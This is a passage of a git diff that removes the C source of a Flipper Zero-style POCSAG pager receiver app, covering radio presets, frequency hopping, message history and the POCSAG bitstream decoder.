frequency, - uint8_t* preset_data, - size_t preset_data_size) { - furi_assert(context); - POCSAGPagerApp* app = context; - furi_string_set(app->txrx->preset->name, preset_name); - app->txrx->preset->frequency = frequency; - app->txrx->preset->data = preset_data; - app->txrx->preset->data_size = preset_data_size; -} - -void pcsg_get_frequency_modulation( - POCSAGPagerApp* app, - FuriString* frequency, - FuriString* modulation) { - furi_assert(app); - if(frequency != NULL) { - furi_string_printf( - frequency, - "%03ld.%02ld", - app->txrx->preset->frequency / 1000000 % 1000, - app->txrx->preset->frequency / 10000 % 100); - } - if(modulation != NULL) { - furi_string_printf(modulation, "%.2s", furi_string_get_cstr(app->txrx->preset->name)); - } -} - -void pcsg_begin(POCSAGPagerApp* app, uint8_t* preset_data) { - furi_assert(app); - - subghz_devices_reset(app->txrx->radio_device); - subghz_devices_idle(app->txrx->radio_device); - subghz_devices_load_preset(app->txrx->radio_device, FuriHalSubGhzPresetCustom, preset_data); - - // furi_hal_gpio_init(furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - app->txrx->txrx_state = PCSGTxRxStateIDLE; -} - -uint32_t pcsg_rx(POCSAGPagerApp* app, uint32_t frequency) { - furi_assert(app); - if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) { - furi_crash("POCSAGPager: Incorrect RX frequency."); - } - furi_assert( - app->txrx->txrx_state != PCSGTxRxStateRx && app->txrx->txrx_state != PCSGTxRxStateSleep); - - subghz_devices_idle(app->txrx->radio_device); - uint32_t value = subghz_devices_set_frequency(app->txrx->radio_device, frequency); - - // Not need. init in subghz_devices_start_async_tx - // furi_hal_gpio_init(furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); - - subghz_devices_flush_rx(app->txrx->radio_device); - subghz_devices_set_rx(app->txrx->radio_device); - - subghz_devices_start_async_rx( - app->txrx->radio_device, subghz_worker_rx_callback, app->txrx->worker); - subghz_worker_start(app->txrx->worker); - app->txrx->txrx_state = PCSGTxRxStateRx; - return value; -} - -void pcsg_idle(POCSAGPagerApp* app) { - furi_assert(app); - furi_assert(app->txrx->txrx_state != PCSGTxRxStateSleep); - subghz_devices_idle(app->txrx->radio_device); - app->txrx->txrx_state = PCSGTxRxStateIDLE; -} - -void pcsg_rx_end(POCSAGPagerApp* app) { - furi_assert(app); - furi_assert(app->txrx->txrx_state == PCSGTxRxStateRx); - if(subghz_worker_is_running(app->txrx->worker)) { - subghz_worker_stop(app->txrx->worker); - subghz_devices_stop_async_rx(app->txrx->radio_device); - } - subghz_devices_idle(app->txrx->radio_device); - app->txrx->txrx_state = PCSGTxRxStateIDLE; -} - -void pcsg_sleep(POCSAGPagerApp* app) { - furi_assert(app); - subghz_devices_sleep(app->txrx->radio_device); - app->txrx->txrx_state = PCSGTxRxStateSleep; -} - -void pcsg_hopper_update(POCSAGPagerApp* app) { - furi_assert(app); - - switch(app->txrx->hopper_state) { - case PCSGHopperStateOFF: - return; - break; - case PCSGHopperStatePause: - return; - break; - case PCSGHopperStateRSSITimeOut: - if(app->txrx->hopper_timeout != 0) { - app->txrx->hopper_timeout--; - return; - } - break; - default: - break; - } - float rssi = -127.0f; - if(app->txrx->hopper_state != PCSGHopperStateRSSITimeOut) { - // See RSSI Calculation timings in CC1101 17.3 RSSI - rssi = subghz_devices_get_rssi(app->txrx->radio_device); - - // Stay if RSSI is high enough - if(rssi > -90.0f) { - app->txrx->hopper_timeout = 10; - app->txrx->hopper_state = PCSGHopperStateRSSITimeOut; - return; - } - } else { - app->txrx->hopper_state = PCSGHopperStateRunnig; - } - // Select next frequency - if(app->txrx->hopper_idx_frequency < - subghz_setting_get_hopper_frequency_count(app->setting) - 1) { - app->txrx->hopper_idx_frequency++; - } else { - app->txrx->hopper_idx_frequency = 0; - } - - if(app->txrx->txrx_state == PCSGTxRxStateRx) { - pcsg_rx_end(app); - }; - if(app->txrx->txrx_state == PCSGTxRxStateIDLE) { - subghz_receiver_reset(app->txrx->receiver); - app->txrx->preset->frequency = - subghz_setting_get_hopper_frequency(app->setting, app->txrx->hopper_idx_frequency); - pcsg_rx(app, app->txrx->preset->frequency); - } -} diff --git a/applications/external/pocsag_pager/pocsag_pager_app_i.h b/applications/external/pocsag_pager/pocsag_pager_app_i.h deleted file mode 100644 index c31e5ae1a..000000000 --- a/applications/external/pocsag_pager/pocsag_pager_app_i.h +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once - -#include "helpers/pocsag_pager_types.h" -#include "helpers/radio_device_loader.h" - -#include "scenes/pocsag_pager_scene.h" -#include -#include -#include -#include -#include -#include -#include -#include "views/pocsag_pager_receiver.h" -#include "views/pocsag_pager_receiver_info.h" -#include "pocsag_pager_history.h" - -#include -#include -#include -#include -#include -#include - -typedef struct POCSAGPagerApp POCSAGPagerApp; - -struct POCSAGPagerTxRx { - SubGhzWorker* worker; - - SubGhzEnvironment* environment; - SubGhzReceiver* receiver; - SubGhzRadioPreset* preset; - PCSGHistory* history; - uint16_t idx_menu_chosen; - PCSGTxRxState txrx_state; - PCSGHopperState hopper_state; - uint8_t hopper_timeout; - uint8_t hopper_idx_frequency; - PCSGRxKeyState rx_key_state; - - const SubGhzDevice* radio_device; -}; - -typedef struct POCSAGPagerTxRx POCSAGPagerTxRx; - -struct POCSAGPagerApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - POCSAGPagerTxRx* txrx; - SceneManager* scene_manager; - NotificationApp* notifications; - VariableItemList* variable_item_list; - Submenu* submenu; - Widget* widget; - PCSGReceiver* pcsg_receiver; - PCSGReceiverInfo* pcsg_receiver_info; - PCSGLock lock; - SubGhzSetting* setting; -}; - -void pcsg_preset_init( - void* context, - const char* preset_name, - uint32_t frequency, - uint8_t* preset_data, - size_t preset_data_size); -void pcsg_get_frequency_modulation( - POCSAGPagerApp* app, - FuriString* frequency, - FuriString* modulation); -void pcsg_begin(POCSAGPagerApp* app, uint8_t* preset_data); -uint32_t pcsg_rx(POCSAGPagerApp* app, uint32_t frequency); -void pcsg_idle(POCSAGPagerApp* app); -void pcsg_rx_end(POCSAGPagerApp* app); -void pcsg_sleep(POCSAGPagerApp* app); -void pcsg_hopper_update(POCSAGPagerApp* app); diff --git a/applications/external/pocsag_pager/pocsag_pager_history.c b/applications/external/pocsag_pager/pocsag_pager_history.c deleted file mode 100644 index d5f97b571..000000000 --- a/applications/external/pocsag_pager/pocsag_pager_history.c +++ /dev/null @@ -1,223 +0,0 @@ -#include "pocsag_pager_history.h" -#include -#include -#include -#include "protocols/pcsg_generic.h" - -#include - -#define PCSG_HISTORY_MAX 50 -#define TAG "PCSGHistory" - -typedef struct { - FuriString* item_str; - FlipperFormat* flipper_string; - uint8_t type; - SubGhzRadioPreset* preset; -} PCSGHistoryItem; - -ARRAY_DEF(PCSGHistoryItemArray, PCSGHistoryItem, M_POD_OPLIST) - -#define M_OPL_PCSGHistoryItemArray_t() ARRAY_OPLIST(PCSGHistoryItemArray, M_POD_OPLIST) - -typedef struct { - PCSGHistoryItemArray_t data; -} PCSGHistoryStruct; - -struct PCSGHistory { - uint32_t last_update_timestamp; - uint16_t last_index_write; - uint8_t code_last_hash_data; - FuriString* tmp_string; - PCSGHistoryStruct* history; -}; - -PCSGHistory* pcsg_history_alloc(void) { - PCSGHistory* instance = malloc(sizeof(PCSGHistory)); - instance->tmp_string = furi_string_alloc(); - instance->history = malloc(sizeof(PCSGHistoryStruct)); - PCSGHistoryItemArray_init(instance->history->data); - return instance; -} - -void pcsg_history_free(PCSGHistory* instance) { - furi_assert(instance); - furi_string_free(instance->tmp_string); - for - M_EACH(item, instance->history->data, PCSGHistoryItemArray_t) { - furi_string_free(item->item_str); - furi_string_free(item->preset->name); - free(item->preset); - flipper_format_free(item->flipper_string); - item->type = 0; - } - PCSGHistoryItemArray_clear(instance->history->data); - free(instance->history); - free(instance); -} - -uint32_t pcsg_history_get_frequency(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - return item->preset->frequency; -} - -SubGhzRadioPreset* pcsg_history_get_radio_preset(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - return item->preset; -} - -const char* pcsg_history_get_preset(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - return furi_string_get_cstr(item->preset->name); -} - -void pcsg_history_reset(PCSGHistory* instance) { - furi_assert(instance); - furi_string_reset(instance->tmp_string); - for - M_EACH(item, instance->history->data, PCSGHistoryItemArray_t) { - furi_string_free(item->item_str); - furi_string_free(item->preset->name); - free(item->preset); - flipper_format_free(item->flipper_string); - item->type = 0; - } - PCSGHistoryItemArray_reset(instance->history->data); - instance->last_index_write = 0; - instance->code_last_hash_data = 0; -} - -uint16_t pcsg_history_get_item(PCSGHistory* instance) { - furi_assert(instance); - return instance->last_index_write; -} - -uint8_t pcsg_history_get_type_protocol(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - return item->type; -} - -const char* pcsg_history_get_protocol_name(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - flipper_format_rewind(item->flipper_string); - if(!flipper_format_read_string(item->flipper_string, "Protocol", instance->tmp_string)) { - FURI_LOG_E(TAG, "Missing Protocol"); - furi_string_reset(instance->tmp_string); - } - return furi_string_get_cstr(instance->tmp_string); -} - -FlipperFormat* pcsg_history_get_raw_data(PCSGHistory* instance, uint16_t idx) { - furi_assert(instance); - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - if(item->flipper_string) { - return item->flipper_string; - } else { - return NULL; - } -} -bool pcsg_history_get_text_space_left(PCSGHistory* instance, FuriString* output) { - furi_assert(instance); - if(instance->last_index_write == PCSG_HISTORY_MAX) { - if(output != NULL) furi_string_printf(output, "Memory is FULL"); - return true; - } - if(output != NULL) - furi_string_printf(output, "%02u/%02u", instance->last_index_write, PCSG_HISTORY_MAX); - return false; -} - -void pcsg_history_get_text_item_menu(PCSGHistory* instance, FuriString* output, uint16_t idx) { - PCSGHistoryItem* item = PCSGHistoryItemArray_get(instance->history->data, idx); - furi_string_set(output, item->item_str); -} - -PCSGHistoryStateAddKey - pcsg_history_add_to_history(PCSGHistory* instance, void* context, SubGhzRadioPreset* preset) { - furi_assert(instance); - furi_assert(context); - - if(instance->last_index_write >= PCSG_HISTORY_MAX) return PCSGHistoryStateAddKeyOverflow; - - SubGhzProtocolDecoderBase* decoder_base = context; - if((instance->code_last_hash_data == - subghz_protocol_decoder_base_get_hash_data(decoder_base)) && - ((furi_get_tick() - instance->last_update_timestamp) < 500)) { - instance->last_update_timestamp = furi_get_tick(); - return PCSGHistoryStateAddKeyTimeOut; - } - - instance->code_last_hash_data = subghz_protocol_decoder_base_get_hash_data(decoder_base); - instance->last_update_timestamp = furi_get_tick(); - - FlipperFormat* fff = flipper_format_string_alloc(); - subghz_protocol_decoder_base_serialize(decoder_base, fff, preset); - - do { - if(!flipper_format_rewind(fff)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - - } while(false); - flipper_format_free(fff); - - PCSGHistoryItem* item = PCSGHistoryItemArray_push_raw(instance->history->data); - item->preset = malloc(sizeof(SubGhzRadioPreset)); - item->type = decoder_base->protocol->type; - item->preset->frequency = preset->frequency; - item->preset->name = furi_string_alloc(); - furi_string_set(item->preset->name, preset->name); - item->preset->data = preset->data; - item->preset->data_size = preset->data_size; - - item->item_str = furi_string_alloc(); - item->flipper_string = flipper_format_string_alloc(); - subghz_protocol_decoder_base_serialize(decoder_base, item->flipper_string, preset); - - do { - if(!flipper_format_rewind(item->flipper_string)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - if(!flipper_format_read_string(item->flipper_string, "Protocol", instance->tmp_string)) { - FURI_LOG_E(TAG, "Missing Protocol"); - break; - } - - if(!flipper_format_rewind(item->flipper_string)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - FuriString* temp_ric = furi_string_alloc(); - if(!flipper_format_read_string(item->flipper_string, "Ric", temp_ric)) { - FURI_LOG_E(TAG, "Missing Ric"); - break; - } - - FuriString* temp_message = furi_string_alloc(); - if(!flipper_format_read_string(item->flipper_string, "Message", temp_message)) { - FURI_LOG_E(TAG, "Missing Message"); - break; - } - - furi_string_printf( - item->item_str, - "%s%s", - furi_string_get_cstr(temp_ric), - furi_string_get_cstr(temp_message)); - - furi_string_free(temp_message); - furi_string_free(temp_ric); - - } while(false); - instance->last_index_write++; - return PCSGHistoryStateAddKeyNewDada; - - return PCSGHistoryStateAddKeyUnknown; -} diff --git a/applications/external/pocsag_pager/pocsag_pager_history.h b/applications/external/pocsag_pager/pocsag_pager_history.h deleted file mode 100644 index 7528fcc29..000000000 --- a/applications/external/pocsag_pager/pocsag_pager_history.h +++ /dev/null @@ -1,112 +0,0 @@ - -#pragma once - -#include -#include -#include -#include -#include - -typedef struct PCSGHistory PCSGHistory; - -/** History state add key */ -typedef enum { - PCSGHistoryStateAddKeyUnknown, - PCSGHistoryStateAddKeyTimeOut, - PCSGHistoryStateAddKeyNewDada, - PCSGHistoryStateAddKeyUpdateData, - PCSGHistoryStateAddKeyOverflow, -} PCSGHistoryStateAddKey; - -/** Allocate PCSGHistory - * - * @return PCSGHistory* - */ -PCSGHistory* pcsg_history_alloc(void); - -/** Free PCSGHistory - * - * @param instance - PCSGHistory instance - */ -void pcsg_history_free(PCSGHistory* instance); - -/** Clear history - * - * @param instance - PCSGHistory instance - */ -void pcsg_history_reset(PCSGHistory* instance); - -/** Get frequency to history[idx] - * - * @param instance - PCSGHistory instance - * @param idx - record index - * @return frequency - frequency Hz - */ -uint32_t pcsg_history_get_frequency(PCSGHistory* instance, uint16_t idx); - -SubGhzRadioPreset* pcsg_history_get_radio_preset(PCSGHistory* instance, uint16_t idx); - -/** Get preset to history[idx] - * - * @param instance - PCSGHistory instance - * @param idx - record index - * @return preset - preset name - */ -const char* pcsg_history_get_preset(PCSGHistory* instance, uint16_t idx); - -/** Get history index write - * - * @param instance - PCSGHistory instance - * @return idx - current record index - */ -uint16_t pcsg_history_get_item(PCSGHistory* instance); - -/** Get type protocol to history[idx] - * - * @param instance - PCSGHistory instance - * @param idx - record index - * @return type - type protocol - */ -uint8_t pcsg_history_get_type_protocol(PCSGHistory* instance, uint16_t idx); - -/** Get name protocol to history[idx] - * - * @param instance - PCSGHistory instance - * @param idx - record index - * @return name - const char* name protocol - */ -const char* pcsg_history_get_protocol_name(PCSGHistory* instance, uint16_t idx); - -/** Get string item menu to history[idx] - * - * @param instance - PCSGHistory instance - * @param output - FuriString* output - * @param idx - record index - */ -void pcsg_history_get_text_item_menu(PCSGHistory* instance, FuriString* output, uint16_t idx); - -/** Get string the remaining number of records to history - * - * @param instance - PCSGHistory instance - * @param output - FuriString* output - * @return bool - is FUUL - */ -bool pcsg_history_get_text_space_left(PCSGHistory* instance, FuriString* output); - -/** Add protocol to history - * - * @param instance - PCSGHistory instance - * @param context - SubGhzProtocolCommon context - * @param preset - SubGhzRadioPreset preset - * @return PCSGHistoryStateAddKey; - */ -PCSGHistoryStateAddKey - pcsg_history_add_to_history(PCSGHistory* instance, void* context, SubGhzRadioPreset* preset); - -/** Get SubGhzProtocolCommonLoad to load into the protocol decoder bin data - * - * @param instance - PCSGHistory instance - * @param idx - record index - * @return SubGhzProtocolCommonLoad* - */ -FlipperFormat* pcsg_history_get_raw_data(PCSGHistory* instance, uint16_t idx); diff --git a/applications/external/pocsag_pager/protocols/pcsg_generic.c b/applications/external/pocsag_pager/protocols/pcsg_generic.c deleted file mode 100644 index 5425fd512..000000000 --- a/applications/external/pocsag_pager/protocols/pcsg_generic.c +++ /dev/null @@ -1,124 +0,0 @@ -#include "pcsg_generic.h" -#include -#include -#include "../helpers/pocsag_pager_types.h" - -#define TAG "PCSGBlockGeneric" - -void pcsg_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str) { - const char* preset_name_temp; - if(!strcmp(preset_name, "AM270")) { - preset_name_temp = "FuriHalSubGhzPresetOok270Async"; - } else if(!strcmp(preset_name, "AM650")) { - preset_name_temp = "FuriHalSubGhzPresetOok650Async"; - } else if(!strcmp(preset_name, "FM238")) { - preset_name_temp = "FuriHalSubGhzPreset2FSKDev238Async"; - } else if(!strcmp(preset_name, "FM476")) { - preset_name_temp = "FuriHalSubGhzPreset2FSKDev476Async"; - } else { - preset_name_temp = "FuriHalSubGhzPresetCustom"; - } - furi_string_set(preset_str, preset_name_temp); -} - -SubGhzProtocolStatus pcsg_block_generic_serialize( - PCSGBlockGeneric* instance, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(instance); - SubGhzProtocolStatus res = SubGhzProtocolStatusError; - FuriString* temp_str; - temp_str = furi_string_alloc(); - do { - stream_clean(flipper_format_get_raw_stream(flipper_format)); - if(!flipper_format_write_header_cstr( - flipper_format, PCSG_KEY_FILE_TYPE, PCSG_KEY_FILE_VERSION)) { - FURI_LOG_E(TAG, "Unable to add header"); - break; - } - - if(!flipper_format_write_uint32(flipper_format, "Frequency", &preset->frequency, 1)) { - FURI_LOG_E(TAG, "Unable to add Frequency"); - break; - } - - pcsg_block_generic_get_preset_name(furi_string_get_cstr(preset->name), temp_str); - if(!flipper_format_write_string_cstr( - flipper_format, "Preset", furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Unable to add Preset"); - break; - } - if(!strcmp(furi_string_get_cstr(temp_str), "FuriHalSubGhzPresetCustom")) { - if(!flipper_format_write_string_cstr( - flipper_format, "Custom_preset_module", "CC1101")) { - FURI_LOG_E(TAG, "Unable to add Custom_preset_module"); - break; - } - if(!flipper_format_write_hex( - flipper_format, "Custom_preset_data", preset->data, preset->data_size)) { - FURI_LOG_E(TAG, "Unable to add Custom_preset_data"); - break; - } - } - if(!flipper_format_write_string_cstr(flipper_format, "Protocol", instance->protocol_name)) { - FURI_LOG_E(TAG, "Unable to add Protocol"); - break; - } - - if(!flipper_format_write_string(flipper_format, "Ric", instance->result_ric)) { - FURI_LOG_E(TAG, "Unable to add Ric"); - break; - } - - if(!flipper_format_write_string(flipper_format, "Message", instance->result_msg)) { - FURI_LOG_E(TAG, "Unable to add Message"); - break; - } - - res = SubGhzProtocolStatusOk; - } while(false); - furi_string_free(temp_str); - return res; -} - -SubGhzProtocolStatus - pcsg_block_generic_deserialize(PCSGBlockGeneric* instance, FlipperFormat* flipper_format) { - furi_assert(instance); - SubGhzProtocolStatus res = SubGhzProtocolStatusError; - FuriString* temp_data = furi_string_alloc(); - FuriString* temp_data2 = furi_string_alloc(); - - do { - if(!flipper_format_rewind(flipper_format)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - - if(!flipper_format_read_string(flipper_format, "Ric", temp_data2)) { - FURI_LOG_E(TAG, "Missing Ric"); - break; - } - if(instance->result_ric != NULL) { - furi_string_set(instance->result_ric, temp_data2); - } else { - instance->result_ric = furi_string_alloc_set(temp_data2); - } - - if(!flipper_format_read_string(flipper_format, "Message", temp_data)) { - FURI_LOG_E(TAG, "Missing Message"); - break; - } - if(instance->result_msg != NULL) { - furi_string_set(instance->result_msg, temp_data); - } else { - instance->result_msg = furi_string_alloc_set(temp_data); - } - - res = SubGhzProtocolStatusOk; - } while(0); - - furi_string_free(temp_data); - furi_string_free(temp_data2); - - return res; -} diff --git a/applications/external/pocsag_pager/protocols/pcsg_generic.h b/applications/external/pocsag_pager/protocols/pcsg_generic.h deleted file mode 100644 index 126b54ffe..000000000 --- a/applications/external/pocsag_pager/protocols/pcsg_generic.h +++ /dev/null @@ -1,56 +0,0 @@ -#pragma once - -#include -#include -#include - -#include -#include "furi.h" -#include "furi_hal.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct PCSGBlockGeneric PCSGBlockGeneric; - -struct PCSGBlockGeneric { - const char* protocol_name; - FuriString* result_ric; - FuriString* result_msg; -}; - -/** - * Get name preset. - * @param preset_name name preset - * @param preset_str Output name preset - */ -void pcsg_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str); - -/** - * Serialize data PCSGBlockGeneric. - * @param instance Pointer to a PCSGBlockGeneric instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return true On success - */ -SubGhzProtocolStatus pcsg_block_generic_serialize( - PCSGBlockGeneric* instance, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data PCSGBlockGeneric. - * @param instance Pointer to a PCSGBlockGeneric instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return true On success - */ -SubGhzProtocolStatus - pcsg_block_generic_deserialize(PCSGBlockGeneric* instance, FlipperFormat* flipper_format); - -float pcsg_block_generic_fahrenheit_to_celsius(float fahrenheit); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c deleted file mode 100644 index 0296a70a7..000000000 --- a/applications/external/pocsag_pager/protocols/pocsag.c +++ /dev/null @@ -1,374 +0,0 @@ -#include "pocsag.h" - -#include -#include -#include - -#define TAG "POCSAG" - -static const SubGhzBlockConst pocsag_const = { - .te_short = 833, - .te_delta = 100, -}; - -// Minimal amount of sync bits (interleaving zeros and ones) -#define POCSAG_MIN_SYNC_BITS 32 -#define POCSAG_CW_BITS 32 -#define POCSAG_CW_MASK 0xFFFFFFFF -#define POCSAG_FRAME_SYNC_CODE 0x7CD215D8 -#define POCSAG_IDLE_CODE_WORD 0x7A89C197 - -#define POCSAG_FUNC_NUM 0 -#define POCSAG_FUNC_ALERT1 1 -#define POCSAG_FUNC_ALERT2 2 -#define POCSAG_FUNC_ALPHANUM 3 - -static const char* func_msg[] = {"\e#Num:\e# ", "\e#Alert\e#", "\e#Alert:\e# ", "\e#Msg:\e# "}; -static const char* bcd_chars = "*U -)("; - -struct SubGhzProtocolDecoderPocsag { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - PCSGBlockGeneric generic; - - uint8_t codeword_idx; - uint32_t ric; - uint8_t func; - - // partially decoded character - uint8_t char_bits; - uint8_t char_data; - - // message being decoded - FuriString* msg; - - // Done messages, ready to be serialized/deserialized - FuriString* done_msg; -}; - -typedef struct SubGhzProtocolDecoderPocsag SubGhzProtocolDecoderPocsag; - -typedef enum { - PocsagDecoderStepReset = 0, - PocsagDecoderStepFoundSync, - PocsagDecoderStepFoundPreamble, - PocsagDecoderStepMessage, -} PocsagDecoderStep; - -void* subghz_protocol_decoder_pocsag_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - - SubGhzProtocolDecoderPocsag* instance = malloc(sizeof(SubGhzProtocolDecoderPocsag)); - instance->base.protocol = &subghz_protocol_pocsag; - instance->generic.protocol_name = instance->base.protocol->name; - instance->msg = furi_string_alloc(); - instance->done_msg = furi_string_alloc(); - if(instance->generic.result_msg == NULL) { - instance->generic.result_msg = furi_string_alloc(); - } - if(instance->generic.result_ric == NULL) { - instance->generic.result_ric = furi_string_alloc(); - } - - return instance; -} - -void subghz_protocol_decoder_pocsag_free(void* context) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - furi_string_free(instance->msg); - furi_string_free(instance->done_msg); - free(instance); -} - -void subghz_protocol_decoder_pocsag_reset(void* context) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - - instance->decoder.parser_step = PocsagDecoderStepReset; - instance->decoder.decode_data = 0UL; - instance->decoder.decode_count_bit = 0; - instance->codeword_idx = 0; - instance->char_bits = 0; - instance->char_data = 0; - furi_string_reset(instance->msg); - furi_string_reset(instance->done_msg); - furi_string_reset(instance->generic.result_msg); - furi_string_reset(instance->generic.result_ric); -} - -static void pocsag_decode_address_word(SubGhzProtocolDecoderPocsag* instance, uint32_t data) { - instance->ric = (data >> 13); - instance->ric = (instance->ric << 3) | (instance->codeword_idx >> 1); - instance->func = (data >> 11) & 0b11; -} - -static bool decode_message_alphanumeric(SubGhzProtocolDecoderPocsag* instance, uint32_t data) { - for(uint8_t i = 0; i < 20; i++) { - instance->char_data >>= 1; - if(data & (1 << 30)) { - instance->char_data |= 1 << 6; - } - instance->char_bits++; - if(instance->char_bits == 7) { - if(instance->char_data == 0) return false; - furi_string_push_back(instance->msg, instance->char_data); - instance->char_data = 0; - instance->char_bits = 0; - } - data <<= 1; - } - return true; -} - -static void decode_message_numeric(SubGhzProtocolDecoderPocsag* instance, uint32_t data) { - // 5 groups with 4 bits each - uint8_t val; - for(uint8_t i = 0; i < 5; i++) { - val = (data >> (27 - i * 4)) & 0b1111; - // reverse the order of 4 bits - val = (val & 0x5) << 1 | (val & 0xA) >> 1; - val = (val & 0x3) << 2 | (val & 0xC) >> 2; - - if(val <= 9) - val += '0'; - else - val = bcd_chars[val - 10]; - furi_string_push_back(instance->msg, val); - } -} - -// decode message word, maintaining instance state for partial decoding. Return true if more data -// might follow or false if end of message reached. -static bool pocsag_decode_message_word(SubGhzProtocolDecoderPocsag* instance, uint32_t data) { - switch(instance->func) { - case POCSAG_FUNC_ALERT2: - case POCSAG_FUNC_ALPHANUM: - return decode_message_alphanumeric(instance, data); - - case POCSAG_FUNC_NUM: - decode_message_numeric(instance, data); - return true; - } - return false; -} - -// Function called when current message got decoded, but other messages might follow -static void pocsag_message_done(SubGhzProtocolDecoderPocsag* instance) { - // append the message to the long-term storage string - furi_string_printf(instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); - furi_string_cat_str(instance->generic.result_ric, func_msg[instance->func]); - if(instance->func != POCSAG_FUNC_ALERT1) { - furi_string_cat(instance->done_msg, instance->msg); - } - furi_string_cat_str(instance->done_msg, " "); - - furi_string_cat(instance->generic.result_msg, instance->done_msg); - - // reset the state - instance->char_bits = 0; - instance->char_data = 0; - furi_string_reset(instance->msg); -} - -void subghz_protocol_decoder_pocsag_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - - // reset state - waiting for 32 bits of interleaving 1s and 0s - if(instance->decoder.parser_step == PocsagDecoderStepReset) { - if(DURATION_DIFF(duration, pocsag_const.te_short) < pocsag_const.te_delta) { - // POCSAG signals are inverted - subghz_protocol_blocks_add_bit(&instance->decoder, !level); - - if(instance->decoder.decode_count_bit == POCSAG_MIN_SYNC_BITS) { - instance->decoder.parser_step = PocsagDecoderStepFoundSync; - } - } else if(instance->decoder.decode_count_bit > 0) { - subghz_protocol_decoder_pocsag_reset(context); - } - return; - } - - int bits_count = duration / pocsag_const.te_short; - uint32_t extra = duration - pocsag_const.te_short * bits_count; - - if(DURATION_DIFF(extra, pocsag_const.te_short) < pocsag_const.te_delta) - bits_count++; - else if(extra > pocsag_const.te_delta) { - // in non-reset state we faced the error signal - we reached the end of the packet, flush data - if(furi_string_size(instance->done_msg) > 0) { - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - subghz_protocol_decoder_pocsag_reset(context); - return; - } - - uint32_t codeword; - - // handle state machine for every incoming bit - while(bits_count-- > 0) { - subghz_protocol_blocks_add_bit(&instance->decoder, !level); - - switch(instance->decoder.parser_step) { - case PocsagDecoderStepFoundSync: - if((instance->decoder.decode_data & POCSAG_CW_MASK) == POCSAG_FRAME_SYNC_CODE) { - instance->decoder.parser_step = PocsagDecoderStepFoundPreamble; - instance->decoder.decode_count_bit = 0; - instance->decoder.decode_data = 0UL; - } - break; - case PocsagDecoderStepFoundPreamble: - // handle codewords - if(instance->decoder.decode_count_bit == POCSAG_CW_BITS) { - codeword = (uint32_t)(instance->decoder.decode_data & POCSAG_CW_MASK); - switch(codeword) { - case POCSAG_IDLE_CODE_WORD: - instance->codeword_idx++; - break; - case POCSAG_FRAME_SYNC_CODE: - instance->codeword_idx = 0; - break; - default: - // Here we expect only address messages - if(codeword >> 31 == 0) { - pocsag_decode_address_word(instance, codeword); - instance->decoder.parser_step = PocsagDecoderStepMessage; - } - instance->codeword_idx++; - } - instance->decoder.decode_count_bit = 0; - instance->decoder.decode_data = 0UL; - } - break; - - case PocsagDecoderStepMessage: - if(instance->decoder.decode_count_bit == POCSAG_CW_BITS) { - codeword = (uint32_t)(instance->decoder.decode_data & POCSAG_CW_MASK); - switch(codeword) { - case POCSAG_IDLE_CODE_WORD: - // Idle during the message stops the message - instance->codeword_idx++; - instance->decoder.parser_step = PocsagDecoderStepFoundPreamble; - pocsag_message_done(instance); - break; - case POCSAG_FRAME_SYNC_CODE: - instance->codeword_idx = 0; - break; - default: - // In this state, both address and message words can arrive - if(codeword >> 31 == 0) { - pocsag_message_done(instance); - pocsag_decode_address_word(instance, codeword); - } else { - if(!pocsag_decode_message_word(instance, codeword)) { - instance->decoder.parser_step = PocsagDecoderStepFoundPreamble; - pocsag_message_done(instance); - } - } - instance->codeword_idx++; - } - instance->decoder.decode_count_bit = 0; - instance->decoder.decode_data = 0UL; - } - break; - } - } -} - -uint8_t subghz_protocol_decoder_pocsag_get_hash_data(void* context) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - uint8_t hash = 0; - for(size_t i = 0; i < furi_string_size(instance->done_msg); i++) - hash ^= furi_string_get_char(instance->done_msg, i); - return hash; -} - -SubGhzProtocolStatus subghz_protocol_decoder_pocsag_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - SubGhzProtocolDecoderPocsag* instance = context; - uint32_t msg_len; - - if(SubGhzProtocolStatusOk != - 